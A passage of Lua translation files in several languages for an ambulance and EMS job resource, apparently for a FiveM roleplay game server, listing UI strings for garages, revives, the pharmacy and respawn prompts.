nalaga, počakajte', 30 | ['confirm_no'] = 'Ne', 31 | ['confirm_yes'] = 'Yes', 32 | -- Akcijski meni 33 | ['revive_inprogress'] = 'Oživljanje je v teku!', 34 | ['revive_complete'] = 'Oživili ste %s', 35 | ['revive_complete_award'] = 'Oživil si %s in zaslužil $%s!', 36 | ['revive_fail_offline'] = 'Ta igralec ni več na spletu', 37 | ['heal_inprogress'] = 'Zdraviš se!', 38 | ['heal_complete'] = 'Ozdravil si %s', 39 | ['no_players'] = 'V bližini ni igralcev', 40 | ['player_not_unconscious'] = 'Ta igralec ni nezavesten!', 41 | ['player_not_conscious'] = 'Ta igralec ni pri zavesti!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'Boss Actions', 44 | -- Misc 45 | ['invalid_amount'] = 'Invalid amount', 46 | ['actions_prompt'] = 'Press [E] access the Ambulance Actions.', 47 | ['deposit_amount'] = 'Deposit Amount', 48 | ['money_withdraw'] = 'Amount withdrawn', 49 | ['fast_travel'] = 'press [E] to fast travel.', 50 | ['open_pharmacy'] = 'Press [E] to open the pharmacy.', 51 | ['pharmacy_menu_title'] = 'Pharmacy', 52 | ['pharmacy_take'] = 'Take %s', 53 | ['medikit'] = 'Medikit', 54 | ['bandage'] = 'Bandage', 55 | ['max_item'] = 'You are already carrying enough.', 56 | -- F6 Menu 57 | ['ems_menu'] = 'EMS Menu', 58 | ['ems_menu_title'] = 'Ambulance - EMS Menu', 59 | ['ems_menu_revive'] = 'Revive Player', 60 | ['ems_menu_putincar'] = 'Put in Vehicle', 61 | ['ems_menu_small'] = 'Heal small wounds', 62 | ['ems_menu_big'] = 'Treat serious injuries', 63 | ['ems_menu_search'] = 'Patient not found', 64 | -- Telefon 65 | ['alert_ambulance'] = 'Alert Ambulance', 66 | -- Smrt 67 | ['respawn_available_in'] = 'Ponovna obnova je na voljo čez %s minut %s sekund', 68 | ['respawn_bleedout_in'] = 'Izkrvavel boš v %s minutah %s sekundah\n', 69 | ['respawn_bleedout_prompt'] = "Držite [E], da se ponovno poženete", 70 | ['respawn_bleedout_fine'] = 'Držite [E], da se ponovno pojavite za $%s', 71 | ['respawn_bleedout_fine_msg'] = 'Plačali ste $%s za ponovni zagon.', 72 | ['distress_send'] = 'Pritisnite [G] za pošiljanje signala za pomoč', 73 | ['distress_sent'] = 'Signal v stiski je bil poslan razpoložljivim enotam!', 74 | -- Oživitev 75 | ['revive_help'] = 'oživi igralca', 76 | -- predmet 77 | ['used_medikit'] = 'Uporabili ste 1x medikit', 78 | ['used_bandage'] = 'Uporabili ste 1x povoj', 79 | ['not_enough_medikit'] = 'Nimate medikita.', 80 | ['not_enough_bandage'] = 'Nimate povoja.', 81 | ['healed'] = 'Bili ste zdravljeni.', 82 | -- Blips 83 | ['blip_hospital'] = 'Bolnišnica', 84 | ['blip_dead'] = 'Nezavestni igralec', 85 | } 86 | -------------------------------------------------------------------------------- /locales/pl.lua: -------------------------------------------------------------------------------- 1 | Locales['pl'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'szatnia', 4 | ['ems_clothes_civil'] = 'ubrania cywilne', 5 | ['ems_clothes_ems'] = 'ubrania EMS', 6 | -- Vehicles 7 | ['ambulance'] = 'ambulance', 8 | ['helicopter_prompt'] = 'press [E] to access the Helicopter Actions.', 9 | ['garage_prompt'] = 'press [E] to access the Vehicle Actions.', 10 | ['garage_title'] = 'vehicle Actions', 11 | ['garage_stored'] = 'stored', 12 | ['garage_notstored'] = 'not in garage', 13 | ['garage_storing'] = 'we\'re attempting to remove the vehicle, make sure no players are around it.', 14 | ['garage_has_stored'] = 'the vehicle has been stored in your garage', 15 | ['garage_has_notstored'] = 'no nearby owned vehicles were found', 16 | ['garage_notavailable'] = 'your vehicle is not stored in the garage.', 17 | ['garage_blocked'] = 'there\'s no available spawn points!', 18 | ['garage_empty'] = 'you don\'t have any vehicles in your garage.', 19 | ['garage_released'] = 'your vehicle has been released from the garage.', 20 | ['garage_store_nearby'] = 'there is no nearby vehicles.', 21 | ['garage_storeditem'] = 'open garage', 22 | ['garage_storeitem'] = 'store vehicle in garage', 23 | ['garage_buyitem'] = 'vehicle shop', 24 | ['shop_item'] = '$%s', 25 | ['vehicleshop_title'] = 'vehicle Shop', 26 | ['vehicleshop_confirm'] = 'do you want to buy this vehicle?', 27 | ['vehicleshop_bought'] = 'you have bought %s for $%s', 28 | ['vehicleshop_money'] = 'you cannot afford that vehicle', 29 | ['vehicleshop_awaiting_model'] = 'the vehicle is currently DOWNLOADING & LOADING please wait', 30 | ['confirm_no'] = 'no', 31 | ['confirm_yes'] = 'yes', 32 | -- Action Menu 33 | ['revive_inprogress'] = 'trwa wskrzeszenie', 34 | ['revive_complete'] = 'zostałeś wskrzeszony %s', 35 | ['revive_complete_award'] = 'zostałeś wskrzeszony %s i zarobiono $%s!', 36 | ['revive_fail_offline'] = 'that player is no longer online', 37 | ['heal_inprogress'] = 'leczysz!', 38 | ['heal_complete'] = 'zostałeś uleczony %s', 39 | ['no_players'] = 'brak graczy w pobliżu', 40 | ['player_not_unconscious'] = 'ten gracz nie jest nieprzytomny!', 41 | ['player_not_conscious'] = 'ten gracz nie jest świadomy!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'akcje szefa', 44 | -- Misc 45 | ['invalid_amount'] = ' widłowa kwota', 46 | ['actions_prompt'] = 'press [E] access the Ambulance Actions.', 47 | ['deposit_amount'] = 'kwota depozytu', 48 | ['money_withdraw'] = 'wycofana kwota', 49 | ['fast_travel'] = 'naciśnij na [E] do szybkiej podróży.', 50 | ['open_pharmacy'] = 'naciśnij na [E] aby otworzyć aptekę', 51 | ['pharmacy_menu_title'] = 'apteka', 52 | ['pharmacy_take'] = 'weź %s', 53 | ['medikit'] = 'apteczka', 54 | ['bandage'] = 'bandaż', 55 | ['max_item'] = 'już masz na sobie dość.', 56 | -- F6 Menu 57 | ['ems_menu'] = 'menu EMS', 58 | ['ems_menu_title'] = 'eMS Menu - Ambulans', 59 | ['ems_menu_revive'] = 'ożyw gracza', 60 | ['ems_menu_putincar'] = 'umieścić w pojeździe', 61 | ['ems_menu_small'] = 'ulecz małe rany', 62 | ['ems_menu_big'] = 'ulecz poważne obrażenia', 63 | ['ems_menu_search'] = 'nie znaleziono pacjenta', 64 | -- Phone 65 | ['alert_ambulance'] = 'wezwij ambulans', 66 | -- Death 67 | ['respawn_available_in'] = 'respawn available in %s minutes %s seconds', 68 | ['respawn_bleedout_in'] = 'you will bleed out in %s minutes %s seconds\n', 69 | ['respawn_bleedout_prompt'] = 'hold [E] to respawn', 70 | ['respawn_bleedout_fine'] = 'hold [E] to respawn for $%s', 71 | ['respawn_bleedout_fine_msg'] = 'you paid $%s to respawn.', 72 | ['distress_send'] = 'press [G] to send distress signal', 73 | ['distress_sent'] = 'distress signal has been sent to available units!', 74 | -- Revive 75 | ['revive_help'] = 'ożyw gracza', 76 | -- Item 77 | ['used_medikit'] = 'użyłeś 1x apteczki', 78 | ['used_bandage'] = 'użyłeś 1x bandaża', 79 | ['not_enough_medikit'] = 'nie posiadasz apteczki.', 80 | ['not_enough_bandage'] = 'nie posiadasz bandaża.', 81 | ['healed'] = 'zostałeś potraktowany', 82 | -- Blips 83 | ['blip_hospital'] = 'szpital', 84 | ['blip_dead'] = 'unconscious player', 85 | } 86 | -------------------------------------------------------------------------------- /locales/en.lua: -------------------------------------------------------------------------------- 1 | Locales['en'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'Locker Room', 4 | ['ems_clothes_civil'] = 'Civilian Clothes', 5 | ['ems_clothes_ems'] = 'EMS Clothes', 6 | -- Vehicles 7 | ['ambulance'] = 'Ambulance', 8 | ['helicopter_prompt'] = 'Press [E] to access the Helicopter Actions.', 9 | ['garage_prompt'] = 'Press [E] to access the Vehicle Actions.', 10 | ['garage_title'] = 'Vehicle Actions', 11 | ['garage_stored'] = 'Stored', 12 | ['garage_notstored'] = 'Not in garage', 13 | ['garage_storing'] = 'We\'re attempting to remove the vehicle, make sure no players are around it.', 14 | ['garage_has_stored'] = 'The vehicle has been stored in your garage', 15 | ['garage_has_notstored'] = 'No nearby owned vehicles were found', 16 | ['garage_notavailable'] = 'Your vehicle is not stored in the garage.', 17 | ['garage_blocked'] = 'There\'s no available spawn points!', 18 | ['garage_empty'] = 'You don\'t have any vehicles in your garage.', 19 | ['garage_released'] = 'Your vehicle has been released from the garage.', 20 | ['garage_store_nearby'] = 'There is no nearby vehicles.', 21 | ['garage_storeditem'] = 'Open garage', 22 | ['garage_storeitem'] = 'Store vehicle in garage', 23 | ['garage_buyitem'] = 'Vehicle shop', 24 | ['shop_item'] = '$%s', 25 | ['vehicleshop_title'] = 'Yehicle Shop', 26 | ['vehicleshop_confirm'] = 'Yo you want to buy this vehicle?', 27 | ['vehicleshop_bought'] = 'You have bought %s for $%s', 28 | ['vehicleshop_money'] = 'You cannot afford that vehicle', 29 | ['vehicleshop_awaiting_model'] = 'The vehicle is currently DOWNLOADING & LOADING please wait', 30 | ['confirm_no'] = 'No', 31 | ['confirm_yes'] = 'Yes', 32 | -- Action Menu 33 | ['revive_inprogress'] = 'A revive is in progress!', 34 | ['revive_complete'] = 'You have revived %s', 35 | ['revive_complete_award'] = 'You have revived %s and earned $%s!', 36 | ['revive_fail_offline'] = 'That player is no longer online', 37 | ['heal_inprogress'] = 'You are healing!', 38 | ['heal_complete'] = 'You have healed %s', 39 | ['no_players'] = 'No players nearby', 40 | ['player_not_unconscious'] = 'That player is not unconscious!', 41 | ['player_not_conscious'] = 'That player is not conscious!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'Boss Actions', 44 | -- Misc 45 | ['invalid_amount'] = 'Invalid amount', 46 | ['actions_prompt'] = 'Press [E] access the Ambulance Actions.', 47 | ['deposit_amount'] = 'Deposit Amount', 48 | ['money_withdraw'] = 'Amount withdrawn', 49 | ['fast_travel'] = 'press [E] to fast travel.', 50 | ['open_pharmacy'] = 'Press [E] to open the pharmacy.', 51 | ['pharmacy_menu_title'] = 'Pharmacy', 52 | ['pharmacy_take'] = 'Take %s', 53 | ['medikit'] = 'Medikit', 54 | ['bandage'] = 'Bandage', 55 | ['max_item'] = 'You are already carrying enough.', 56 | -- F6 Menu 57 | ['ems_menu'] = 'EMS Menu', 58 | ['ems_menu_title'] = 'Ambulance - EMS Menu', 59 | ['ems_menu_revive'] = 'Revive Player', 60 | ['ems_menu_putincar'] = 'Put in Vehicle', 61 | ['ems_menu_small'] = 'Heal small wounds', 62 | ['ems_menu_big'] = 'Treat serious injuries', 63 | ['ems_menu_search'] = 'Patient not found', 64 | -- Phone 65 | ['alert_ambulance'] = 'Alert Ambulance', 66 | -- Death 67 | ['respawn_available_in'] = 'Respawn available in %s minutes %s seconds', 68 | ['respawn_bleedout_in'] = 'You will bleed out in %s minutes %s seconds\n', 69 | ['respawn_bleedout_prompt'] = 'Hold [E] to respawn', 70 | ['respawn_bleedout_fine'] = 'Hold [E] to respawn for $%s', 71 | ['respawn_bleedout_fine_msg'] = 'You paid $%s to respawn.', 72 | ['distress_send'] = 'Press [G] to send distress signal', 73 | ['distress_sent'] = 'Distress signal has been sent to available units!', 74 | -- Revive 75 | ['revive_help'] = 'revive a player', 76 | -- Item 77 | ['used_medikit'] = 'You have used 1x medikit', 78 | ['used_bandage'] = 'You have used 1x bandage', 79 | ['not_enough_medikit'] = 'You do not have medikit.', 80 | ['not_enough_bandage'] = 'You do not have bandage.', 81 | ['healed'] = 'You have been treated.', 82 | -- Blips 83 | ['blip_hospital'] = 'Hospital', 84 | ['blip_dead'] = 'Dying Player', 85 | } 86 | -------------------------------------------------------------------------------- /locales/sv.lua: -------------------------------------------------------------------------------- 1 | Locales['sv'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'omklädnignsrum', 4 | ['ems_clothes_civil'] = 'civilkläder', 5 | ['ems_clothes_ems'] = 'ambulanskläder', 6 | -- Vehicles 7 | ['ambulance'] = 'ambulans', 8 | ['helicopter_prompt'] = 'tryck [E] för att komma åt helikoptergaraget.', 9 | ['garage_prompt'] = 'tryck [E] för att komma åt garaget.', 10 | ['garage_title'] = 'garage', 11 | ['garage_stored'] = 'inställt', 12 | ['garage_notstored'] = 'uttaget', 13 | ['garage_storing'] = 'vi håller på att ställa in ditt fordon, se till att ingen är i närheten.', 14 | ['garage_has_stored'] = 'fordonet har ställts in i garaget', 15 | ['garage_has_notstored'] = 'inget ägt fordon finns i närheten', 16 | ['garage_notavailable'] = 'ditt fordon är inte inställt i ditt garage.', 17 | ['garage_blocked'] = 'det finns ingen tillgänglig plats att ställa ut fordonet på!', 18 | ['garage_empty'] = 'du har inga fordon i ditt garage.', 19 | ['garage_released'] = 'ditt fordon har tagits ut från garaget.', 20 | ['garage_store_nearby'] = 'det finns inget fordon i närheten.', 21 | ['garage_storeditem'] = 'öppna garage', 22 | ['garage_storeitem'] = 'ställ in fordon', 23 | ['garage_buyitem'] = 'fordonshandel', 24 | ['shop_item'] = '%s SEK', 25 | ['vehicleshop_title'] = 'fordonshandel', 26 | ['vehicleshop_confirm'] = 'vill du köpa detta fordon?', 27 | ['vehicleshop_bought'] = 'du köpte %s för %s SEK', 28 | ['vehicleshop_money'] = 'du har inte råd med detta fordon', 29 | ['vehicleshop_awaiting_model'] = 'fordonet LADDAS NED OCH LADDAS IN var god vänta', 30 | ['confirm_no'] = 'nej', 31 | ['confirm_yes'] = 'ja', 32 | -- Action Menu 33 | ['revive_inprogress'] = 'en återupplivning har börjats', 34 | ['revive_complete'] = 'du har återupplivat %s, bra jobbat!', 35 | ['revive_complete_award'] = 'du har återupplivat %s och tjänat %s SEK för dina tjänster, bra jobbat!', 36 | ['revive_fail_offline'] = 'den spelaren har lämnat servern', 37 | ['heal_inprogress'] = 'du behandlar patienten!', 38 | ['heal_complete'] = 'du har behandlat %s', 39 | ['no_players'] = 'det finns inga spelare i närheten!', 40 | ['player_not_unconscious'] = 'spelaren är inte medvetslös!', 41 | ['player_not_conscious'] = 'spelaren är inte vid medvetande!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'chefsmeny', 44 | -- Misc 45 | ['invalid_amount'] = ' g mängd', 46 | ['actions_prompt'] = 'tryck [E] för att öppna menyn.', 47 | ['deposit_amount'] = 'mängd att sätta in', 48 | ['money_withdraw'] = 'mängd att ta ut', 49 | ['fast_travel'] = 'tryck på [E] för att snabbresa.', 50 | ['open_pharmacy'] = 'tryck på [E] för att öppna apoteket.', 51 | ['pharmacy_menu_title'] = 'apotek', 52 | ['pharmacy_take'] = 'ta %s', 53 | ['medikit'] = 'akutväska', 54 | ['bandage'] = 'bandage', 55 | ['max_item'] = 'du har redan tillräckligt mycket på dig.', 56 | -- F6 Menu 57 | ['ems_menu'] = 'ambulansmeny', 58 | ['ems_menu_title'] = 'ambulansmeny', 59 | ['ems_menu_revive'] = 'återuppliva spelare', 60 | ['ems_menu_putincar'] = 'sätt i fordon', 61 | ['ems_menu_small'] = 'behandla mindre skador', 62 | ['ems_menu_big'] = 'behandla svåra skador', 63 | ['ems_menu_search'] = 'patienten hittades inte', 64 | -- Phone 65 | ['alert_ambulance'] = 'ambulanssamtal', 66 | -- Death 67 | ['respawn_available_in'] = 'respawn tillgänglig om %s:%s', 68 | ['respawn_bleedout_in'] = 'du kommer att förblöda om %s:%s\n', 69 | ['respawn_bleedout_prompt'] = 'håll [E] för att respawna', 70 | ['respawn_bleedout_fine'] = 'håll [E] för att respawna, kostar %s SEK', 71 | ['respawn_bleedout_fine_msg'] = 'du betalade %s för att respawna.', 72 | ['distress_send'] = 'tryck [G] för att skicka nödsignal', 73 | ['distress_sent'] = 'nödsignal har skickats till samtliga enheter!', 74 | -- Revive 75 | ['revive_help'] = 'återuppliva en spelare', 76 | -- Item 77 | ['used_medikit'] = 'du har använt 1x akutväska', 78 | ['used_bandage'] = 'du har använt 1x bandage', 79 | ['not_enough_medikit'] = 'du har ingen akutväska.', 80 | ['not_enough_bandage'] = 'du har inget bandage.', 81 | ['healed'] = 'dina skador har blivit behandlade.', 82 | -- Blips 83 | ['blip_hospital'] = 'sjukhus', 84 | ['blip_dead'] = 'medvetslös människa', 85 | } 86 | -------------------------------------------------------------------------------- /locales/fi.lua: -------------------------------------------------------------------------------- 1 | Locales['fi'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'vaatelokero', 4 | ['ems_clothes_civil'] = 'siviilikamppeet', 5 | ['ems_clothes_ems'] = 'työkamppeet', 6 | -- Vehicles 7 | ['ambulance'] = 'ambulance', 8 | ['helicopter_prompt'] = 'press [E] to access the Helicopter Actions.', 9 | ['garage_prompt'] = 'press [E] to access the Vehicle Actions.', 10 | ['garage_title'] = 'vehicle Actions', 11 | ['garage_stored'] = 'stored', 12 | ['garage_notstored'] = 'not in garage', 13 | ['garage_storing'] = 'we\'re attempting to remove the vehicle, make sure no players are around it.', 14 | ['garage_has_stored'] = 'the vehicle has been stored in your garage', 15 | ['garage_has_notstored'] = 'no nearby owned vehicles were found', 16 | ['garage_notavailable'] = 'your vehicle is not stored in the garage.', 17 | ['garage_blocked'] = 'there\'s no available spawn points!', 18 | ['garage_empty'] = 'you don\'t have any vehicles in your garage.', 19 | ['garage_released'] = 'your vehicle has been released from the garage.', 20 | ['garage_store_nearby'] = 'there is no nearby vehicles.', 21 | ['garage_storeditem'] = 'open garage', 22 | ['garage_storeitem'] = 'store vehicle in garage', 23 | ['garage_buyitem'] = 'vehicle shop', 24 | ['shop_item'] = '$%s', 25 | ['vehicleshop_title'] = 'vehicle Shop', 26 | ['vehicleshop_confirm'] = 'do you want to buy this vehicle?', 27 | ['vehicleshop_bought'] = 'you have bought %s for $%s', 28 | ['vehicleshop_money'] = 'you cannot afford that vehicle', 29 | ['vehicleshop_awaiting_model'] = 'the vehicle is currently DOWNLOADING & LOADING please wait', 30 | ['confirm_no'] = 'no', 31 | ['confirm_yes'] = 'yes', 32 | -- Action Menu 33 | ['revive_inprogress'] = 'elvytys on menossa!', 34 | ['revive_complete'] = 'sinä elvytit henkilön %s', 35 | ['revive_complete_award'] = 'sinä elvytit henkilön %s ja tienasit $%s!', 36 | ['revive_fail_offline'] = 'that player is no longer online', 37 | ['heal_inprogress'] = 'sinä olet parantamassa!', 38 | ['heal_complete'] = 'sinä paransit henkilön %s', 39 | ['no_players'] = 'ei pelaajia lähettyvillä', 40 | ['player_not_unconscious'] = 'tämä pelaaja ei ole tajuton!', 41 | ['player_not_conscious'] = 'tämä pelaaja ei ole tajuissaan!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'pomovalikko', 44 | -- Misc 45 | ['invalid_amount'] = ' llinen summa', 46 | ['actions_prompt'] = 'press [E] access the Ambulance Actions.', 47 | ['deposit_amount'] = 'talletettava summa', 48 | ['money_withdraw'] = 'nostettava summa', 49 | ['fast_travel'] = 'paina [E] liikkuaksesi nopeasti kerrosten välillä', 50 | ['open_pharmacy'] = 'paina [E] avataksesi lääkekaappi', 51 | ['pharmacy_menu_title'] = 'lääkekaappi', 52 | ['pharmacy_take'] = 'ota %s', 53 | ['medikit'] = 'ensiapupakkauksia', 54 | ['bandage'] = 'sideharsoja', 55 | ['max_item'] = 'sinulla on jo tarpeeksi mukana', 56 | -- F6 Menu 57 | ['ems_menu'] = 'ensihoito menu', 58 | ['ems_menu_title'] = 'ensihoito - Siviilin kanssakäyminen', 59 | ['ems_menu_revive'] = 'elvytä', 60 | ['ems_menu_putincar'] = 'Laita ajoneuvoon', 61 | ['ems_menu_small'] = 'hoida pieniä haavoja', 62 | ['ems_menu_big'] = 'hoida isoja haavoja', 63 | ['ems_menu_search'] = 'potilasta ei löydy', 64 | -- Phone 65 | ['alert_ambulance'] = 'hälyytys Ensihoidolle', 66 | -- Death 67 | ['respawn_available_in'] = 'respawn available in %s minutes %s seconds', 68 | ['respawn_bleedout_in'] = 'you will bleed out in %s minutes %s seconds\n', 69 | ['respawn_bleedout_prompt'] = 'hold [E] to respawn', 70 | ['respawn_bleedout_fine'] = 'hold [E] to respawn for $%s', 71 | ['respawn_bleedout_fine_msg'] = 'you paid $%s to respawn.', 72 | ['distress_send'] = 'press [G] to send distress signal', 73 | ['distress_sent'] = 'distress signal has been sent to available units!', 74 | -- Revive 75 | ['revive_help'] = 'elvytä pelaaja', 76 | -- Item 77 | ['used_medikit'] = 'sinä käytit ensiapupakkauksen', 78 | ['used_bandage'] = 'sinä käytit sideharsoja', 79 | ['not_enough_medikit'] = 'ei tarpeeksi ensiapupakkauksia.', 80 | ['not_enough_bandage'] = 'ei tarpeeksi sideharsoja.', 81 | ['healed'] = 'sinua parannettiin', 82 | -- Blips 83 | ['blip_hospital'] = 'sairaala', 84 | ['blip_dead'] = 'unconscious player', 85 | } 86 | -------------------------------------------------------------------------------- /locales/nl.lua: -------------------------------------------------------------------------------- 1 | Locales['nl'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'Kleedkamer', 4 | ['ems_clothes_civil'] = 'Burgerkleding', 5 | ['ems_clothes_ems'] = 'Ambulance Kleding', 6 | -- Vehicles 7 | ['ambulance'] = 'Ambulance', 8 | ['helicopter_prompt'] = 'Druk op [E] om de Lifeliners te beheren.', 9 | ['garage_prompt'] = 'Druk op [E] om de Garage te openen.', 10 | ['garage_title'] = 'Garage', 11 | ['garage_stored'] = 'In Garage', 12 | ['garage_notstored'] = 'Niet In Garage', 13 | ['garage_storing'] = 'We proberen je voertuig op te bergen, zorg dat er niemand in de buurt is.', 14 | ['garage_has_stored'] = 'Je voertuig is in de garage gezet', 15 | ['garage_has_notstored'] = 'Er zijn geen voertuigen in de buurt gevonden die van jou zijn', 16 | ['garage_notavailable'] = 'Je voertuig staat niet in de garage.', 17 | ['garage_blocked'] = 'Er is geen spawnplek beschikbaar!', 18 | ['garage_empty'] = 'Er staat geen voertuig in je garage.', 19 | ['garage_released'] = 'Je voertuig is uit de garage gehaald.', 20 | ['garage_store_nearby'] = 'Er zijn geen voertuigen in de buurt.', 21 | ['garage_storeditem'] = 'Open garage', 22 | ['garage_storeitem'] = 'Zet voertuig in de garage', 23 | ['garage_buyitem'] = 'Voertuigwinkel', 24 | ['shop_item'] = '€%s', 25 | ['vehicleshop_title'] = 'Voertuigwinkel', 26 | ['vehicleshop_confirm'] = 'Wil je dit voertuig kopen?', 27 | ['vehicleshop_bought'] = 'Je hebt een %s gekocht voor €%s', 28 | ['vehicleshop_money'] = 'Je kan dit voertuig niet betalen', 29 | ['vehicleshop_awaiting_model'] = 'Het voertuig is aan het DOWNLOADEN & LADEN, even geduld', 30 | ['confirm_no'] = 'Nee', 31 | ['confirm_yes'] = 'Ja', 32 | -- Action Menu 33 | ['revive_inprogress'] = 'Reanimatie is in gang gezet!', 34 | ['revive_complete'] = 'Je hebt %s gereanimeerd', 35 | ['revive_complete_award'] = 'Je hebt %s gereanimeerd en €%s verdient!', 36 | ['revive_fail_offline'] = 'Deze speler is niet langer online', 37 | ['heal_inprogress'] = 'Je wordt genezen!', 38 | ['heal_complete'] = 'Je hebt %s genezen', 39 | ['no_players'] = 'Geen spelers in de buurt', 40 | ['player_not_unconscious'] = 'Deze persoon is niet bewusteloos!', 41 | ['player_not_conscious'] = 'Deze persoon is bewusteloos!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'Manager Acties', 44 | -- Misc 45 | ['invalid_amount'] = ' ig aantal', 46 | ['actions_prompt'] = 'Druk op [E] om de Ambulance Acties te bekijken.', 47 | ['deposit_amount'] = 'Bedrag om te storten', 48 | ['money_withdraw'] = 'Bedrag om op te nemen', 49 | ['fast_travel'] = 'Druk op [E] om snel te reizen.', 50 | ['open_pharmacy'] = 'Druk op [E] om de apotheek te openen.', 51 | ['pharmacy_menu_title'] = 'Apotheek', 52 | ['pharmacy_take'] = 'Pak %s', 53 | ['medikit'] = 'Spoedkoffer', 54 | ['bandage'] = 'Verbanddoos', 55 | ['max_item'] = 'Je draagt al genoeg bij je.', 56 | -- F6 Menu 57 | ['ems_menu'] = 'Ambulance Menu', 58 | ['ems_menu_title'] = 'Ambulance - Menu', 59 | ['ems_menu_revive'] = 'Reanimeer speler', 60 | ['ems_menu_putincar'] = 'Zet in voertuig', 61 | ['ems_menu_small'] = 'Behandel kleine verwondingen', 62 | ['ems_menu_big'] = 'Behandel grote verwondingen', 63 | -- Phone 64 | ['alert_ambulance'] = 'alert Ambulance', 65 | -- Death 66 | ['respawn_available_in'] = 'Respawn beschikbaar in %s minuten en %s seconden', 67 | ['respawn_bleedout_in'] = 'Je zal doodbloeden in %s minuten %s seconden\n', 68 | ['respawn_bleedout_prompt'] = 'Houd [E] ingedrukt om te respawnen', 69 | ['respawn_bleedout_fine'] = 'Houd [E] ingedrukt om te respawnen voor €%s', 70 | ['respawn_bleedout_fine_msg'] = 'Je hebt €%s betaald om te respawnen.', 71 | ['distress_send'] = 'Druk op [G] om een noodsignaal te verzenden', 72 | ['distress_sent'] = 'Noodsignaal verzonden naar alle beschikbare eenheden!', 73 | -- Revive 74 | ['revive_help'] = 'Revive een speler', 75 | -- Item 76 | ['used_medikit'] = 'Je hebt 1 spoedkoffer gebruikt', 77 | ['used_bandage'] = 'Je hebt 1 verbandkoffer gebruikt', 78 | ['not_enough_medikit'] = 'Je hebt geen spoedkoffer bij.', 79 | ['not_enough_bandage'] = 'Je hebt geen verbandkoffer bij.', 80 | ['healed'] = 'Je bent behandeld.', 81 | -- Blips 82 | ['blip_hospital'] = 'Ziekenhuis', 83 | ['blip_dead'] = 'Bewusteloze speler', 84 | } 85 | -------------------------------------------------------------------------------- /locales/br.lua: -------------------------------------------------------------------------------- 1 | Locales['br'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'guarda roupa', 4 | ['ems_clothes_civil'] = 'roupa normal', 5 | ['ems_clothes_ems'] = 'entrar como socorrista', 6 | -- Vehicles 7 | ['ambulance'] = 'ambulancia', 8 | ['helicopter_prompt'] = 'pressione [E] para acessar a Helicopter Actions.', 9 | ['garage_prompt'] = 'pressione [E] para entra no Vehicle Actions.', 10 | ['garage_title'] = 'ações do veiculo', 11 | ['garage_stored'] = 'guardado', 12 | ['garage_notstored'] = 'não foi guardado', 13 | ['garage_storing'] = 'estamos tentando guardar o veículo, verifique se não há cidadões ao seu redor.', 14 | ['garage_has_stored'] = 'o veículo foi guardado na sua garagem', 15 | ['garage_has_notstored'] = 'nem um dos seus veiculos foi encontrado proximo', 16 | ['garage_notavailable'] = 'o seu veículo não está guardado na garagem.', 17 | ['garage_blocked'] = 'não há pontos de spawn disponíveis!', 18 | ['garage_empty'] = 'você não tem veículos na sua garagem.', 19 | ['garage_released'] = 'seu veículo foi liberado da garagem.', 20 | ['garage_store_nearby'] = 'não há veículos próximos.', 21 | ['garage_storeditem'] = 'abrir garagem', 22 | ['garage_storeitem'] = 'veículo da loja na garagem', 23 | ['garage_buyitem'] = 'loja de veículos', 24 | ['shop_item'] = '$%s', 25 | ['vehicleshop_title'] = 'loja de veículos', 26 | ['vehicleshop_confirm'] = 'você quer comprar este veículo?', 27 | ['vehicleshop_bought'] = 'você comprou %s para $%s', 28 | ['vehicleshop_money'] = 'você não pode pagar esse veículo', 29 | ['vehicleshop_awaiting_model'] = 'o veículo está atualmente DOWNLOADING & LOADING, por favor aguarde', 30 | ['confirm_no'] = 'não', 31 | ['confirm_yes'] = 'sim', 32 | -- Action Menu 33 | ['revive_inprogress'] = 'reanimação em andamento', 34 | ['revive_complete'] = 'você ressuscitou %s', 35 | ['revive_complete_award'] = 'você ressuscitou %s, $%s', 36 | ['revive_fail_offline'] = 'esse cidadão não está mais na cidade', 37 | ['heal_inprogress'] = 'você está curando!', 38 | ['heal_complete'] = 'você curou %s', 39 | ['no_players'] = 'nenhum cidadão nas proximidades', 40 | ['player_not_unconscious'] = 'não está inconsciente', 41 | ['player_not_conscious'] = 'esse cidadão não está consciente!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'menu administração', 44 | -- Misc 45 | ['invalid_amount'] = ' dade inválida', 46 | ['actions_prompt'] = 'aperte [E] para entra Ambulance Actions.', 47 | ['deposit_amount'] = 'quantidade inválida para deposito', 48 | ['money_withdraw'] = 'quantidade a ser retirada', 49 | ['fast_travel'] = 'aperte [E] para mover-se rapidamente.', 50 | ['open_pharmacy'] = 'aperte [E] para abrir a farmácia.', 51 | ['pharmacy_menu_title'] = 'farmácia', 52 | ['pharmacy_take'] = 'tomar %s', 53 | ['medikit'] = 'seringa', 54 | ['bandage'] = 'vendagem', 55 | ['max_item'] = 'você não pode carregar mais', 56 | -- F6 Menu 57 | ['ems_menu'] = 'interação com cidadão', 58 | ['ems_menu_title'] = 'ambulância - Interação com cidadão', 59 | ['ems_menu_revive'] = 'reanimar', 60 | ['ems_menu_putincar'] = 'colocar no veiculo', 61 | ['ems_menu_small'] = 'curar pequenas feridas', 62 | ['ems_menu_big'] = 'tratando lesões graves', 63 | ['ems_menu_search'] = 'paciente não encontrado', 64 | -- Phone 65 | ['alert_ambulance'] = 'alerta socorrista', 66 | -- Death 67 | ['respawn_available_in'] = 'você irar reviver em %s minutos %s segundos', 68 | ['respawn_bleedout_in'] = 'você vai sangrar %s minutos %s segundos\n', 69 | ['respawn_bleedout_prompt'] = 'aguarde [E] para reviver', 70 | ['respawn_bleedout_fine'] = 'aguarde [E] para reviver por $%s', 71 | ['respawn_bleedout_fine_msg'] = 'você precisa pagar $%s para reviver', 72 | ['distress_send'] = 'pressione [G] enviar sinal de socorro', 73 | ['distress_sent'] = 'sinal de socorro foi enviado para as unidades disponíveis!', 74 | 75 | -- Revive 76 | ['revive_help'] = 'reviver um cidadão', 77 | -- Item 78 | ['used_medikit'] = 'você usou 1x Seringa', 79 | ['used_bandage'] = 'você usou 1x Vendagem', 80 | ['not_enough_medikit'] = 'você não tem 